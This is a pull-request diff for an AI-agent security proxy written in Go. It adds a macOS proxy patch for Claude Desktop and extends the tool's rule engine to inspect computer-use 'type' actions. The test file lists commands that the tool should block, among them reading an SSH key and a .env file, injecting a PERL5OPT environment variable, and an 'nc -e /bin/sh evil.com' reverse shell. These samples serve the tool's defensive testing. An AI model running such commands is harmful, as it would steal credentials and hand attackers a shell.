Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
61 changes: 61 additions & 0 deletions internal/daemon/registry/builtin_darwin.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
//go:build darwin

package registry

import (
"context"
"fmt"
"os"
"os/exec"
)

func init() {
// ── Claude Desktop / Cowork (macOS) ─────────────────────────────────────
// Claude Desktop (and Cowork) is an Electron app that makes API calls
// directly to api.anthropic.com. Unlike Claude Code, it has no proxy
// config file. On macOS, Electron apps respect HTTPS_PROXY if set via
// launchctl setenv (applies to all GUI apps launched by launchd).
//
// Patch: set HTTPS_PROXY to Crust's proxy URL via launchctl.
// Restore: unset HTTPS_PROXY via launchctl.
//
// The user must relaunch Claude Desktop after patching for the env var
// to take effect (launchctl setenv applies to newly launched processes).
Register(&FuncTarget{
AgentName: "Claude Desktop (proxy)",
InstalledFunc: func() bool {
_, err := os.Stat("/Applications/Claude.app")
return err == nil
},
PatchFunc: func(proxyPort int, _ string) error {
proxyURL := fmt.Sprintf("http://localhost:%d", proxyPort)
if err := launchctlSetenv("HTTPS_PROXY", proxyURL); err != nil {
return fmt.Errorf("set HTTPS_PROXY for Claude Desktop: %w", err)
}
if err := launchctlSetenv("HTTP_PROXY", proxyURL); err != nil {
return fmt.Errorf("set HTTP_PROXY for Claude Desktop: %w", err)
}
return nil
},
RestoreFunc: func() error {
// Best-effort: unset both. Errors are non-fatal (var may not be set).
if err := launchctlUnsetenv("HTTPS_PROXY"); err != nil {
log.Debug("unsetenv HTTPS_PROXY: %v", err)
}
if err := launchctlUnsetenv("HTTP_PROXY"); err != nil {
log.Debug("unsetenv HTTP_PROXY: %v", err)
}
return nil
},
})
}

// launchctlSetenv sets an environment variable for all GUI apps via launchd.
func launchctlSetenv(key, value string) error {
return exec.CommandContext(context.Background(), "launchctl", "setenv", key, value).Run()
}

// launchctlUnsetenv removes an environment variable from launchd.
func launchctlUnsetenv(key string) error {
return exec.CommandContext(context.Background(), "launchctl", "unsetenv", key).Run()
}
8 changes: 6 additions & 2 deletions internal/httpproxy/proxy_toolcalls.go
Original file line number Diff line number Diff line change
Expand Up @@ -78,10 +78,14 @@ func extractToolCalls(bodyBytes []byte, apiType types.APIType) []telemetry.ToolC
}
if err := json.Unmarshal(bodyBytes, &resp); err == nil {
for _, item := range resp.Output {
if item.Type == contentTypeFunctionCall {
if item.Type == contentTypeFunctionCall || item.Type == contentTypeComputerCall {
name := item.Name
if item.Type == contentTypeComputerCall && name == "" {
name = "computer"
}
toolCalls = append(toolCalls, telemetry.ToolCall{
ID: item.CallID,
Name: item.Name,
Name: name,
Arguments: json.RawMessage(item.Arguments),
})
}
Expand Down
6 changes: 5 additions & 1 deletion internal/httpproxy/sse_parser.go
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,7 @@ import (
const (
contentTypeToolUse = "tool_use" // Anthropic
contentTypeFunctionCall = "function_call" // OpenAI Responses
contentTypeComputerCall = "computer_call" // OpenAI Responses (computer use)
deltaTypeText = "text_delta" // Anthropic
deltaTypeInputJSON = "input_json_delta" // Anthropic
)
Expand Down Expand Up @@ -306,8 +307,11 @@ func (p *SSEParser) ParseOpenAIResponsesEvent(eventType string, data []byte) Par
case "response.output_item.added":
var event OpenAIResponsesOutputItemAdded
if err := json.Unmarshal(data, &event); err == nil {
if event.Item.Type == contentTypeFunctionCall {
if event.Item.Type == contentTypeFunctionCall || event.Item.Type == contentTypeComputerCall {
name := event.Item.Name
if event.Item.Type == contentTypeComputerCall && name == "" {
name = "computer" // Normalize: computer_call items may omit name
}
if p.sanitize && name != "" {
name = rules.SanitizeToolName(name)
}
Expand Down
53 changes: 53 additions & 0 deletions internal/rules/cve_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -1206,3 +1206,56 @@ func TestCVE_PersistenceExtended(t *testing.T) {
})
}
}

// ─── Computer use tool ────────────────────────────────────────────────

// Defense: computer use "type" actions are parsed through the shell AST
// pipeline, catching credential reads, env var poisoning, and reverse shells
// even when typed via GUI automation instead of a direct tool call.
func TestCVE_ComputerUseTypeAction(t *testing.T) {
engine := newBuiltinEngine(t)

blocked := []struct {
name string
text string
}{
{"cat ssh key", "cat ~/.ssh/id_rsa"},
{"export dangerous env", `export PERL5OPT="-Mevil"`},
{"reverse shell", "nc -e /bin/sh evil.com 4444"},
{"read .env", "cat /home/user/.env"},
}

for _, tc := range blocked {
t.Run(tc.name, func(t *testing.T) {
call := makeToolCall("computer", map[string]any{
"action": "type",
"text": tc.text,
})
result := engine.Evaluate(call)
if !result.Matched {
t.Errorf("computer type %q should be blocked", tc.text)
}
})
}

// Safe actions should NOT be blocked.
safe := []struct {
name string
args map[string]any
}{
{"screenshot", map[string]any{"action": "screenshot"}},
{"click", map[string]any{"action": "left_click", "coordinate": []int{500, 300}}},
{"type safe text", map[string]any{"action": "type", "text": "hello world"}},
{"key shortcut", map[string]any{"action": "key", "text": "ctrl+s"}},
}

for _, tc := range safe {
t.Run(tc.name, func(t *testing.T) {
call := makeToolCall("computer", tc.args)
result := engine.Evaluate(call)
if result.Matched {
t.Errorf("computer %v should NOT be blocked, got rule %s", tc.args, result.RuleName)
}
})
}
}
18 changes: 6 additions & 12 deletions internal/rules/env_db.go
Original file line number Diff line number Diff line change
Expand Up @@ -125,20 +125,14 @@ var dangerousEnvVars = map[string]EnvVarEntry{
"CORECLR_PROFILER_PATH": {EnvRiskLibInject, "all", ".NET Core profiler library path"},
}

// dangerousEnvVarsLower is the case-folded lookup table, built once at init.
var dangerousEnvVarsLower map[string]EnvVarEntry

func init() {
dangerousEnvVarsLower = make(map[string]EnvVarEntry, len(dangerousEnvVars))
for k, v := range dangerousEnvVars {
dangerousEnvVarsLower[strings.ToUpper(k)] = v
}
}

// LookupDangerousEnv checks if a variable name is in the dangerous env var database.
// Returns the entry and true if found, or zero value and false if safe.
// On Windows, lookup is case-insensitive (env vars are case-insensitive on Windows).
// On Unix, lookup is case-sensitive (exact match only).
func LookupDangerousEnv(name string) (EnvVarEntry, bool) {
e, ok := dangerousEnvVarsLower[strings.ToUpper(name)]
if ShellEnvironment().IsWindows() {
name = strings.ToUpper(name)
}
e, ok := dangerousEnvVars[name]
return e, ok
}

Expand Down
2 changes: 2 additions & 0 deletions internal/rules/extractor.go
Original file line number Diff line number Diff line change
Expand Up @@ -394,6 +394,8 @@ func (e *Extractor) Extract(toolName string, args json.RawMessage) ExtractedInfo
e.extractEditTool(&info)
case "delete_file": // Cursor
e.extractDeleteTool(&info)
case "computer": // Claude / OpenAI computer use
e.extractComputerTool(&info)
case "webfetch", "web_fetch", "websearch", "web_search", "browser",
"read_url_content", // Windsurf
"view_web_document_content_chunk", // Windsurf
Expand Down
31 changes: 31 additions & 0 deletions internal/rules/extractor_tools.go
Original file line number Diff line number Diff line change
Expand Up @@ -37,6 +37,37 @@ func (e *Extractor) extractDeleteTool(info *ExtractedInfo) {
e.extractPathFields(info)
}

// extractComputerTool handles Claude/OpenAI computer use tool calls.
// The "type" action types text into the active application — this may be a shell
// command, file path, or URL. Parse it through the shell AST extractor.
// Other actions (screenshot, click, scroll, key) are not security-relevant.
func (e *Extractor) extractComputerTool(info *ExtractedInfo) {
action, _ := info.RawArgs["action"].(string)
if action == "" {
// OpenAI uses "type" as both the action field name and an action value.
// After field normalization, check the "type" field too.
action, _ = info.RawArgs["type"].(string)
}

switch action {
case "type":
// Text typed into active app — may be a shell command or file path.
// Inject into the "command" field so extractBashCommand can parse it
// through the full shell AST pipeline (variable expansion, pipes, etc.).
text, _ := info.RawArgs["text"].(string)
if text == "" {
return
}
info.RawArgs["command"] = text
info.addOperation(OpExecute)
e.extractBashCommand(info)
case "key", "keypress":
// Keyboard shortcuts — not extractable as paths/commands.
default:
// screenshot, click, scroll, mouse_move, drag, wait — not security-relevant.
}
}

// extractUnknownTool handles the default case in Layer 1: tools with unrecognized names.
// It actively tries all extraction strategies based on argument field shapes, in priority
// order, to infer what the tool does. Unlike augmentFromArgShape (Layer 2), this runs
Expand Down
Loading